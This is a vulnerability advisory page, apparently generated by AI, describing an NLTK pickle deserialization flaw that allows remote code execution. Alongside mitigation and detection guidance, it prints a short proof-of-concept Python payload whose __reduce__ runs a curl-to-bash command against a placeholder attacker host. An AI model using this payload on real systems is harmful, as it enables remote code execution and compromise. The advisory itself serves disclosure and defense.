
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-78683 is a critical unsafe pickle deserialization vulnerability in the NLTK (Natural Language Toolkit) Python library affecting all versions up to and including 3.9.4. The flaw resides in the TransitionParser.parse() method in nltk/parse/transitionparser.py, which calls pickle_load() with the default restricted=False parameter, enabling arbitrary Python code execution when a malicious model file is loaded. It was disclosed on August 11, 2026 via a GitHub Security Advisory (GHSA-rhp5-r9x4-f5g2) and published to the NVD on August 25, 2026. The vulnerability carries a CVSS v3.1 score of 9.6 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Advisory, Github Advisory DB).
The root cause is CWE-502 (Deserialization of Untrusted Data). The pickle_load() function in nltk/picklesec.py supports two deserialization paths: a safe path via RestrictedUnpickler (when restricted=True) and an unsafe path via WarningUnpickler (the default). WarningUnpickler inherits from Python's standard pickle.Unpickler and does not override find_class(), meaning it permits arbitrary class and function resolution during deserialization. All production call sites — including transitionparser.py:557, chartparser_app.py:816, chartparser_app.py:2273, and chartparser_app.py:2311 — use the default restricted=False. An attacker crafts a malicious .pkl file embedding a pickle gadget chain (e.g., using __reduce__ to invoke os.system or subprocess.Popen) and causes a victim application to load it via TransitionParser().parse(depgraphs, modelFile). A working proof-of-concept is publicly documented in the security advisory (GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the full privileges of the user or service account running the NLTK-dependent application. This results in complete compromise of confidentiality, integrity, and availability of the affected system. Researchers, data scientists, and automated ML pipelines that process externally sourced NLTK model files are particularly at risk, and exploitation could enable lateral movement, data exfiltration, or persistent backdoor installation (GitHub Advisory, Github Advisory DB).
A working proof-of-concept is publicly documented in the NLTK security advisory (GHSA-rhp5-r9x4-f5g2), demonstrating code execution via a crafted pickle file. As of the disclosure date, there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is 0.0 and the vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires user interaction in the form of loading a malicious model file, but no authentication or special privileges are needed on the attacker's side (GitHub Advisory, VulnCheck Advisory).
.pkl file using the __reduce__ method to embed a gadget chain (e.g., os.system('touch /tmp/pwned') or a reverse shell command):import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f).pkl file at a location accessible to the target application — via a shared filesystem, a model repository, a file upload endpoint, or a supply-chain compromise of a model distribution channel.TransitionParser().parse(sentences, '/path/to/malicious_model.pkl'). This can be achieved by social engineering a researcher, exploiting an automated ML pipeline that fetches and loads external model files, or compromising a model storage location.pickle_load(f) call at transitionparser.py:557 routes through WarningUnpickler, which does not restrict class resolution. The embedded gadget chain executes arbitrary Python code with the privileges of the running process./tmp/nltk_poc_triggered or similar artifacts); new scripts, cron jobs, or SSH keys added under the service account's home directory; presence of .pkl files in unusual locations (upload directories, temp folders, model repositories).bash, sh, curl, wget, python3 with unexpected arguments); reverse shell connections initiated from the application process.TransitionParser.parse() calls with model file paths pointing to user-supplied, temporary, or network-mounted locations; Python tracebacks or warnings from WarningUnpickler in application logs; absence of UnpicklingError where one would be expected on patched systems.Upgrade NLTK to version 3.10.0 or later, which fixes the vulnerability by routing all production deserialization through RestrictedUnpickler (GitHub Advisory). If immediate upgrade is not possible, apply the following workaround at all affected call sites by changing pickle_load(f) to pickle_load(f, restricted=True) in nltk/parse/transitionparser.py (line 557) and nltk/parse/chartparser_app.py (lines 816, 2273, 2311). Additionally, restrict model file loading to trusted, integrity-verified sources only, and consider sandboxing NLTK-based applications that process externally sourced model files. Running the application with a least-privilege service account limits the blast radius of any successful exploitation (VulnCheck Advisory).
The vulnerability was reported by researcher ekaf and published by NLTK maintainer alvations via GitHub Security Advisories on August 11, 2026. VulnCheck independently published an advisory highlighting the remote code execution risk. No significant broader media coverage or notable social media discussion has been observed beyond standard vulnerability aggregator entries as of the disclosure date (GitHub Advisory, VulnCheck Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."